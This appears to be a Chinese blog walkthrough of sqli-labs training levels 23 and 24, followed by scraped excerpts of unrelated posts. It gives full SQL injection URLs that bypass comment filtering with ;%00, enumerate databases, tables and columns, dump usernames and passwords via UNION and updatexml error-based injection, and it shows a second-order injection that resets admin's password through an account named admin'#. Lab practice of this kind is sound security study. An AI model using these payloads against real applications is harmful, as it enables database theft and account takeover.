sqli lab 23 、24

less23  法1

输入用户名和密码  admin ~~admin

http://192.168.50.100/sqli/Less-23/?id=1‘     ‘报错  说明有注入漏洞

23关和第1关很像,但是观察代码发现他对--+和#都进行了转义,不能再用这种方式注释,将--+  和 #都进行了替换 替换成了空格

可以用新的注释符:   “   ;%00   ”  或者and和or语句进行闭合

http://192.168.50.100/sqli/Less-23/?id=1‘ ;%00

判断列数

http://192.168.50.100/sqli/Less-23/?id=1‘   order by  3 ;%00

http://192.168.50.100/sqli/Less-23/?id=1‘   order by  4;%00

添加一个不存在得id值 判断显示位置http://192.168.50.100/sqli/Less-23/?id=11111‘   union  select 1,2,3   ;%00

http://192.168.50.100/sqli/Less-23/?id=0‘ union select 1,2,group_concat(schema_name) from    information_schema.schemata ;%00 查库名

http://192.168.50.100/sqli/Less-23/?id=0‘ union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479 ;%00

查表名.

http://192.168.50.100/sqli/Less-23/?id=-1‘  union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273   ;%00 查字段名
http://192.168.50.100/sqli/Less-23/?id=0‘ union select 1,2,group_concat(concat_ws(‘-‘,username,password)) from security.users ;%00  查出字段中所有的值

less23  法2

http://192.168.50.100/sqli/Less-23/?id=0‘ order by 10;   这个语句肯定是错误得  因为没有闭合

换另一种闭合方式

‘ order by 10 and  ’1‘=‘1      返回是正常的,但是由于我们已知肯定没有10列,这是为什么还会返回正常?

‘ order by 10 or ’1‘=‘1 此时使用or,返回依旧正常

为什么呢?

我们回到mysql命令行,执行以下语句:
1.  select * from users where id =1 ; 此时返回数据肯定是正常的。
2. select * from users where id =1  and 1=1; 此时返回数据也是正常的。
3. select * from users where id =1  or  1=1;   此时返回了所有的数据。
4. select * from users where id =11111  or  1=1; 此时也是返回了所有的数据。 说明执行的时候是  A or B
5. select * from users where id =1 order by 3; 返回正常,肯定正常。
6. select * from users where id =1  order by 3 and 1=1; 此时依旧返回正常。
7. select * from users where id =1  order by 4444 and 1=1;   此时返回正常
8.    select * from users where id =1  order by 4444 or  1=1;   依旧返回正常
9.  select * from users where id =1  and 1=1 order by 3;  此时返回正常
10. select * from users where id =1  and 1=1 order by 3333;  返回不存在这个列,也可以理解为正常。
11. select * from users where id =1111  and 1=1 order by 3;   返回为空,但是语句执行正常。

你可以理解为order by 在执行的时候被忽略了,这是由于mysql解析顺序决定的。具体参考: : https://www.cnblogs.com/annsshadow/p/5037667.html

使用order by 10 ; 我们知道永远都不可能有报错的情况,所以对此,less23中建议使用union select进行

使用以下语句判断列数

http://192.168.50.100/sqli/Less-23/?id=-1‘union select 1,2,3 and ‘1‘ and ‘1   返回正确

并且知道修改第一个和第二个位置

http://192.168.50.100/sqli/Less-23/?id=-1‘union select 1,2,3,4  and ‘1‘ and ‘1   4列返回有错误

http://192.168.50.100/sqli/Less-23/?id=-1‘union select 1,(select group_concat(schema_name) from information_schema.schemata),3  and ‘1‘ and ‘1

http://192.168.50.100/sqli/Less-23/?id=-1‘union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3  and ‘1‘ and ‘1

http://192.168.50.100/sqli/Less-23/?id=-1‘union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273), 3  and ‘1‘ and ‘1

http://192.168.50.100/sqli/Less-23/?id=-1‘union select 1,  (select  group_concat(concat_ws(0x7e,username,password)) from security.users),  3  and ‘1‘ and ‘1

报错注入:

http://192.168.50.100/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库

http://192.168.50.100/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1

查询所有的数据库,使用limit进行逐个查询。

less24

前置基础知识:二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入,可以概括为以下两步:

第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

例: 输入参数 id= 1‘    传输转义id= 1\’  时转义之后无法注入存入数据库为 1’  再次取出直接闭合

学习链接:https://www.cnblogs.com/cute-puli/p/11145758.html

注意:我们在windows中用phpstudy环境搭建sqli-labs,解压的时候24关可能存在名称相同问题,所以需要重命名操作

才能进行:

按照二次注入原理:首先创建一个恶意账户admin‘#,密码是123

新用户登陆:

修改密码为123456,注意此时从数据库中修改是查找的‘admin’#‘,并不会进行转义,所以最后修改的是admin的密码

此时用admin登陆,密码就变成了123456。

Waf绕过可大致分为三类:  1.白盒绕过
                                             2. 黑盒绕过
                                             3. fuzz测试

原文地址:https://www.cnblogs.com/xingyuner/p/12238440.html

时间: 2024-10-16 21:40:51

sqli lab 23 、24的相关文章

EC读书笔记系列之12:条款22、23、24

条款22 将成员变量声明为private 记住: ★切记将成员变量声明为private.这可赋予客户访问数据的一致性.可细微划分访问控制.允诺约束条件获得保证,并提供class作者以充分的实现弹性. ★protected并不比public更具封装性 条款23 宁以non-member-non-friend替换member函数 记住: ★宁可拿non-member-non-friend函数替换member函数.这样可增加封装性.包裹弹性和机能扩充性. -----------------------

SQL报错注入结合sqli lab和百度杯CTF VId

0x00 背景 学习记录一下报错型的注入,经各方整理和自己总结形成. 所有的注入原理都是一样,即用户输入被拼接执行.但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入. 0x01概念 报错型注入的利用大概有以下3种方式: 1:?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1

2.23/2.24/2.25 find命令 2.26 文件名后缀

2.23/2.24/2.25 find命令 2.26 文件名后缀 2.23/2.24/2.25 find命令 2.23 find命令   上 常用的几个 搜索文件which  whereis 安装 locate 模糊的搜索 不精准的搜索 ctrl a 光标移到命令最前面 ctrl e 光标移到命令最后面 ctrl u 删除光标前面的字符 find 搜索 find 路径  具体的条件 find 搜索文件类型  -type -d目录.-f文件.(-).-l链接 .-s socket文件.-c字符串

1.22 redis集群介绍21.23/21.24 redis集群搭建配置21.25 redis集群

21.22 redis集群介绍多个redis节点网络互联,数据共享所有的节点都是一主一从(可以是多个从),其中从不提供服务,仅作为备用不支持同时处理多个键(如mset/mget),因为redis需要把键均匀分布在各个节点上,并发量很高的情况下同时创建键值会降低性能并导致不可预测的行为.支持在线增加.删除节点客户端可以连任何一个主节点进行读写 21.23/21.24 redis集群搭建配置场景设置:两台机器,分别开启三个Redis服务(端口)A机器上三个端口7000,7002,7004,全部为主B

用QuartusII实现半加器、全加器、2-4译码器、BCD码加法器、计数器、交通灯

6.交通灯实现代码 module light(clk,set,chan,light,out); input clk,set,chan; output reg[1:0] light; output reg[3:0] out; [email protected](posedge clk or posedge chan or posedge set) if(set==1) begin out=0; light=01; end else if(chan==1) begin if(light<2) lig

ABP(现代ASP.NET样板开发框架)系列之23、ABP展现层——异常处理

点这里进入ABP系列文章总目录 基于DDD的现代ASP.NET开发框架--ABP系列之23.ABP展现层——异常处理 ABP是“ASP.NET Boilerplate Project (ASP.NET样板项目)”的简称. ABP的官方网站:http://www.aspnetboilerplate.com ABP在Github上的开源项目:https://github.com/aspnetboilerplate 在 web 应用程序中,异常通常是在 MVC Controller actions 和

SICP 1.21 1.22 1.23 1.24

解:相关代码如下,时间测不出来 #lang racket (define (square x)   (* x x)) (define (smallest-divisor n)   (define (divides? a b)     (= (remainder b a) 0))   (define (next divisor)     (if (= divisor 2)         3         (+ divisor 2)))   (define (find-divisor n tes

【ThinkingInC++】23、一个袖珍的C库

/** * 功能:一个袖珍的C库 * 时间:2014年8月17日08:05:26 * 作者:cutter_point */ //这个头文类似一个C的库 #ifndef CLIB_H_INCLUDED #define CLIB_H_INCLUDED typedef struct CStashTag { int size; //每个小空间的大小 int quantity; //用来表示要分配多少个字节,全部空间大小 int next; //已经存放了数据的字节个数 //首先,我们不知道要分配的类型大

23、蛤蟆的数据结构笔记之二十三串的堆分配实现

23.蛤蟆的数据结构笔记之二十三串的堆分配实现 本篇名言:"人的价值是由自己决定的." 接下去是看下如何用C实现串. 欢迎转载,转载请标明出处: 1.  定义 定义结构体如下,一种字符数组,一个表示数组的长度.以一组地址连续的存储单元存放串值字符序列,但是他们的存储空间是在程序执行过程中动态分配而得. typedefstruct { charch[MAXLEN]; intlen; }SString; 2.  复制 将一个串内容复制到另一个结构体中区. SString StrCopy(S